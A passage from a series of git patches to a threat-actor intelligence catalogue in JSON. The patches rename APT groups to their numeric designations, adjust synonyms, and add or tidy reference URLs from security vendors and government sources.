increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.\nIn contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.", @@ -1450,10 +1419,11 @@ "http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/", "https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf", - "https://unit42.paloaltonetworks.com/atoms/crawling-taurus/" + "https://unit42.paloaltonetworks.com/atoms/crawling-taurus/", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT20", + "VIOLIN PANDA", "APT 20", "TH3Bug", "Twivy", @@ -1461,7 +1431,7 @@ ] }, "uuid": "8bcd855f-a4c1-453a-bede-ff36582f4f40", - "value": "Violin Panda" + "value": "APT20" }, { "description": "A group targeting dissident groups in China and at the boundaries.", @@ -1473,7 +1443,7 @@ ] }, "uuid": "1514546d-f6ea-4af3-bbea-24d6fd9e6761", - "value": "Toxic Panda" + "value": "TOXIC PANDA" }, { "description": "China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.", @@ -1515,7 +1485,7 @@ } ], "uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b", - "value": "Temper Panda" + "value": "TEMPER PANDA" }, { "description": "TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'", @@ -1532,10 +1502,11 @@ "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", "https://blog.lookout.com/titan-mobile-threat", "https://attack.mitre.org/groups/G0081/", - "https://www.secureworks.com/research/threat-profiles/bronze-hobart" + "https://www.secureworks.com/research/threat-profiles/bronze-hobart", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ - "APT23", + "PIRATE PANDA", "KeyBoy", "Tropic Trooper", "BRONZE HOBART", @@ -1543,7 +1514,7 @@ ] }, "uuid": "7f16d1f5-04ee-4d99-abf0-87e1f23f9fee", - "value": "Pirate Panda" + "value": "APT23" }, { "description": "Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.", @@ -3446,11 +3417,12 @@ "https://attack.mitre.org/groups/G0039/", "https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab", "http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild", - "https://www.secureworks.com/research/threat-profiles/bronze-olive" + "https://www.secureworks.com/research/threat-profiles/bronze-olive", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "G0039", - "APT22", + "Suckfly", "BRONZE OLIVE", "Group 46" ] @@ -3465,7 +3437,7 @@ } ], "uuid": "5abb12e7-5066-4f84-a109-49a037205c76", - "value": "Suckfly" + "value": "APT22" }, { "description": "FIN is a group targeting financial assets including assets able to do financial transaction including PoS.", @@ -4064,22 +4036,6 @@ "uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", "value": "Gamaredon Group" }, - { - "description": "Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.", - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242" - ], - "synonyms": [ - "Zhenbao", - "TEMP.Zhenbao" - ] - }, - "uuid": "1f2762d9-a4b5-4457-ac51-00be05be9e23", - "value": "Hammer Panda" - }, { "description": "Infy is a group of suspected Iranian origin.\nSince early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents.\nThanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.", "meta": { @@ -4584,11 +4540,14 @@ "refs": [ "https://www.fireeye.com/current-threats/apt-groups.html", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood" + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ + "KEYHOLE PANDA", "MANGANESE", - "BRONZE FLEETWOOD" + "BRONZE FLEETWOOD", + "TEMP.Bottle" ] }, "uuid": "a47b79ae-7a0c-4308-9efc-294af19cc795", @@ -4652,11 +4611,11 @@ "https://www.secureworks.com/research/threat-profiles/bronze-express" ], "synonyms": [ - "APT26", "Hippo Team", "JerseyMikes", - "Turbine Panda", - "BRONZE EXPRESS" + "TURBINE PANDA", + "BRONZE EXPRESS", + "TECHNETIUM" ] }, "related": [ @@ -4676,7 +4635,7 @@ } ], "uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11", - "value": "APT 26" + "value": "APT26" }, { "meta": { @@ -4687,7 +4646,7 @@ ] }, "uuid": "67adfa07-869f-4052-9d56-b88a51489902", - "value": "Sabre Panda" + "value": "SABRE PANDA" }, { "meta": { @@ -4698,7 +4657,7 @@ ] }, "uuid": "06e89270-ca1b-4cd4-85f3-940d23c76766", - "value": "Big Panda" + "value": "BIG PANDA" }, { "meta": { @@ -4709,7 +4668,7 @@ ] }, "uuid": "5bc7382d-ddc6-46d3-96f5-1dbdadbd601c", - "value": "Poisonous Panda" + "value": "POISONUS PANDA" }, { "meta": { @@ -4838,7 +4797,7 @@ ] }, "uuid": "cd6ac640-9ae9-4aa9-89cd-89b95be1a3ab", - "value": "Test Panda" + "value": "TEST PANDA" }, { "description": "Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East.\nCommon applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.", @@ -4878,7 +4837,7 @@ ] }, "uuid": "69059ec9-45c9-4961-a07e-6b2f2228f0ce", - "value": "Electric Panda" + "value": "ELECTRIC PANDA" }, { "meta": { @@ -4900,18 +4859,18 @@ "http://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/", "https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-sykipot-smartcard-proxy-variant-33919", "https://www.cfr.org/interactive/cyber-operations/sykipot", - "https://www.secureworks.com/research/threat-profiles/bronze-edison" + "https://www.secureworks.com/research/threat-profiles/bronze-edison", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "PLA Navy", - "APT4", - "APT 4", + "MAVERICK PANDA", "BRONZE EDISON", "Sykipot" ] }, "uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b", - "value": "Maverick Panda" + "value": "APT4" }, { "description": "This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.", @@ -5014,7 +4973,7 @@ ] }, "uuid": "b07cf296-7ab9-4b85-a07e-421607c212b0", - "value": "Gibberish Panda" + "value": "GIBBERISH PANDA" }, { "description": "This threat actor targets the South Korean government, transportation, and energy sectors.", @@ -5208,12 +5167,11 @@ "https://threatpost.com/fbi-quietly-admits-to-multi-year-apt-attack-sensitive-data-stolen/117267/" ], "synonyms": [ - "1.php Group", - "APT6" + "1.php Group" ] }, "uuid": "1a2592a3-eab7-417c-bf2d-9c0558c2b3e7", - "value": "APT 6" + "value": "APT6" }, { "meta": { @@ -5312,7 +5270,7 @@ ] }, "uuid": "43992f81-fd29-4228-94e0-c3aa3e65aab7", - "value": "Pale Panda" + "value": "PALE PANDA" }, { "meta": { @@ -5586,16 +5544,16 @@ "https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks", "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china", "https://www.mofa.go.jp/press/danwa/press6e_000312.html", - "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory" + "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "TEMP.Periscope", "TEMP.Jumper", - "APT 40", - "APT40", + "Leviathan", "BRONZE MOHAWK", "GADOLINIUM", - "Kryptonite Panda", + "KRYPTONITE PANDA", "G0065", "ATK29" ] @@ -5610,7 +5568,7 @@ } ], "uuid": "5b4b6980-3bc7-11e8-84d6-879aaac37dd9", - "value": "Leviathan" + "value": "APT40" }, { "description": "FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.", @@ -6745,7 +6703,7 @@ ] }, "uuid": "4b7df353-fbcc-4f00-a54f-5121c5edb9be", - "value": "Nomad Panda" + "value": "NOMAD PANDA" }, { "description": "This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.", @@ -6964,7 +6922,8 @@ "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china", "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory/", "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", - "https://twitter.com/bkMSFT/status/1417823714922610689" + "https://twitter.com/bkMSFT/status/1417823714922610689", + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "ZIRCONIUM", @@ -7485,7 +7444,9 @@ "BRONZE ATLAS", "BRONZE EXPORT", "Red Kelpie", - "G0044" + "G0044", + "Earth Baku", + "Amoeba" ] }, "related": [ @@ -9404,10 +9365,13 @@ ], "country": "CN", "refs": [ - "https://www.mandiant.com/resources/apt-groups#apt19", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://www.mandiant.com/resources/insights/apt-groups", + "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393" ], "synonyms": [ + "NIGHTSHADE PANDA", "Red Pegasus" ] }, @@ -9696,7 +9660,7 @@ ] }, "uuid": "8d73715a-8bbd-4eaa-ae24-2f1b1c84cf21", - "value": "Goblin Panda" + "value": "GOBLIN PANDA" }, { "description": "Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.", From 2dc138ae01ab6abbf86e30071bffbd47638affed Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 12:08:11 +0000 Subject: [PATCH 097/167] chg: [threat-actor] add Adam Kozy's testimony ro APT41 and APT26 --- clusters/threat-actor.json | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index f3f6847..69cea13 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -4608,7 +4608,8 @@ "attribution-confidence": "50", "country": "CN", "refs": [ - "https://www.secureworks.com/research/threat-profiles/bronze-express" + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf" ], "synonyms": [ "Hippo Team", @@ -7429,7 +7430,8 @@ "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/", "https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation", "https://www.cfr.org/cyber-operations/apt-41", - "https://attack.mitre.org/groups/G0096/" + "https://attack.mitre.org/groups/G0096", + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf" ], "synonyms": [ "Double Dragon", From 6ad9699a386efaec86a3ead196194339253e5985 Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 12:10:51 +0000 Subject: [PATCH 098/167] chg: [threat-actor] add recorded future reference to RedAlpha --- clusters/threat-actor.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 69cea13..2362d96 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5876,7 +5876,8 @@ "meta": { "refs": [ "https://www.recordedfuture.com/chinese-cyberespionage-operations", - "https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf", + "https://go.recordedfuture.com/hubfs/reports/ta-2022-0816.pdf" ], "synonyms": [ "DeepCliff", From 7f526e230b79ad18d193405b211daab07fe0d0da Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 12:34:36 +0000 Subject: [PATCH 099/167] chg: [threat-actor] add Microsoft and PwC report to actors' references --- clusters/threat-actor.json | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2362d96..1ae67d8 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -783,7 +783,8 @@ "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", "https://attack.mitre.org/groups/G0030/", - "https://www.secureworks.com/research/threat-profiles/bronze-elgin" + "https://www.secureworks.com/research/threat-profiles/bronze-elgin", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "Spring Dragon", @@ -1075,7 +1076,9 @@ "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", "https://attack.mitre.org/groups/G0004/", "https://www.secureworks.com/research/threat-profiles/bronze-palace", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" ], "synonyms": [ "VIXEN PANDA", @@ -1089,7 +1092,8 @@ "BRONZE DAVENPORT", "BRONZE IDLEWOOD", "NICKEL", - "G0004" + "G0004", + "Red Vulture" ] }, "uuid": "3501fbf2-098f-47e7-be6a-6b0ff5742ce8", @@ -1233,7 +1237,8 @@ "https://securelist.com/the-icefog-apt-a-tale-of-cloak-and-three-daggers/57331/", "https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/", "https://www.cfr.org/interactive/cyber-operations/icefog", - "https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133739/icefog.pdf" + "https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133739/icefog.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "IceFog", @@ -4541,7 +4546,8 @@ "https://www.fireeye.com/current-threats/apt-groups.html", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" ], "synonyms": [ "KEYHOLE PANDA", @@ -5546,7 +5552,8 @@ "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china", "https://www.mofa.go.jp/press/danwa/press6e_000312.html", "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" ], "synonyms": [ "TEMP.Periscope", @@ -5877,7 +5884,8 @@ "refs": [ "https://www.recordedfuture.com/chinese-cyberespionage-operations", "https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf", - "https://go.recordedfuture.com/hubfs/reports/ta-2022-0816.pdf" + "https://go.recordedfuture.com/hubfs/reports/ta-2022-0816.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "DeepCliff", @@ -6925,7 +6933,9 @@ "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory/", "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", "https://twitter.com/bkMSFT/status/1417823714922610689", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" ], "synonyms": [ "ZIRCONIUM", @@ -6980,7 +6990,8 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://unit42.paloaltonetworks.com/atoms/mangataurus/" + "https://unit42.paloaltonetworks.com/atoms/mangataurus/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "CIRCUIT PANDA", @@ -7432,7 +7443,8 @@ "https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation", "https://www.cfr.org/cyber-operations/apt-41", "https://attack.mitre.org/groups/G0096", - "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf" + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "Double Dragon", @@ -8216,7 +8228,8 @@ "https://www.thedailybeast.com/how-chinas-devastating-microsoft-hack-puts-us-all-at-risk", "https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks", "https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking", - "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china" + "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" ], "synonyms": [ "ATK233", From 27300c63817c9ba73c8186b5595d5188e638738b Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 12:41:31 +0000 Subject: [PATCH 100/167] chg: [threat-actor] add avast blog to APT40 --- clusters/threat-actor.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1ae67d8..6360dfa 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5553,7 +5553,8 @@ "https://www.mofa.go.jp/press/danwa/press6e_000312.html", "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory", "https://www.mandiant.com/resources/insights/apt-groups", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia" ], "synonyms": [ "TEMP.Periscope", From e7178a1e0800e0f4e986812a04cd294cb46efad9 Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 27 Aug 2022 12:54:32 +0000 Subject: [PATCH 101/167] fix: [threat-actor] remove duplicate entries from APT9 --- clusters/threat-actor.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 6360dfa..866302d 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9384,8 +9384,7 @@ "refs": [ "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", - "https://www.mandiant.com/resources/insights/apt-groups", - "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393" + "https://www.mandiant.com/resources/insights/apt-groups" ], "synonyms": [ "NIGHTSHADE PANDA", From d18f5bc8b6edda700693919e50367c3502eb958f Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Tue, 30 Aug 2022 17:08:03 +0200 Subject: [PATCH 102/167] mini-fix: adding https protocol to a reference in automated processing and display, this may otherwise lead to a malformed local / relative link. --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 866302d..dd641f1 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -500,7 +500,7 @@ "https://www.recordedfuture.com/hidden-lynx-analysis/", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://attack.mitre.org/groups/G0025/", - "cfr.org/cyber-operations/axiom", + "https://cfr.org/cyber-operations/axiom", "https://attack.mitre.org/groups/G0001/", "https://www.youtube.com/watch?v=NFJqD-LcpIg", "https://www.mandiant.com/resources/insights/apt-groups" From fb0cf3c7e574aaf84bf3b9e40c770f38332d8b99 Mon Sep 17 00:00:00 2001 From: Rony Date: Thu, 1 Sep 2022 09:17:31 +0000 Subject: [PATCH 103/167] chg: [threat-actor] miscellaneous updates --- clusters/threat-actor.json | 275 +++++++++++++++++-------------------- 1 file changed, 125 insertions(+), 150 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index dd641f1..f227f0c 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -53,7 +53,8 @@ "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=f1265df5-6e5e-4fcc-9828-d4ddbbafd3d7&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://attack.mitre.org/groups/G0006/", "https://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "COMMENT PANDA", @@ -98,50 +99,6 @@ "uuid": "0b06fb39-ed3d-4868-ac42-12fff6df2c80", "value": "Nitro" }, - { - "description": "The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors’ computers with malware.'", - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks", - "http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", - "https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html", - "https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "https://www.mandiant.com/resources/insights/apt-groups" - ], - "synonyms": [ - "C0d0so", - "Codoso", - "Sunshop Group" - ] - }, - "related": [ - { - "dest-uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "a653431d-6a5e-4600-8ad3-609b5af57064", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", - "value": "APT19" - }, { "meta": { "refs": [ @@ -171,6 +128,9 @@ "country": "CN", "refs": [ "http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf" + ], + "synonyms": [ + "Red Chimera" ] }, "uuid": "ba8973b2-fd97-4aa7-9307-ea4838d96428", @@ -259,7 +219,8 @@ "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", "https://www.cfr.org/interactive/cyber-operations/putter-panda", "https://attack.mitre.org/groups/G0024", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "PLA Unit 61486", @@ -304,18 +265,19 @@ "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://www.cfr.org/interactive/cyber-operations/apt-3", "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "GOTHIC PANDA", "TG-0110", "Group 6", "UPS", - "APT3", "Buckeye", "Boyusec", "BORON", - "BRONZE MAYFAIR" + "BRONZE MAYFAIR", + "Red Sylvan" ] }, "related": [ @@ -569,7 +531,6 @@ "synonyms": [ "DYNAMITE PANDA", "TG-0416", - "APT 18", "SCANDIUM", "PLA Navy", "Wekby", @@ -631,19 +592,30 @@ "https://www.cyberscoop.com/anthem-breach-indictment-chinese-national/", "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf", "https://attack.mitre.org/groups/G0009/", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone" + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks", + "http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", + "https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html", + 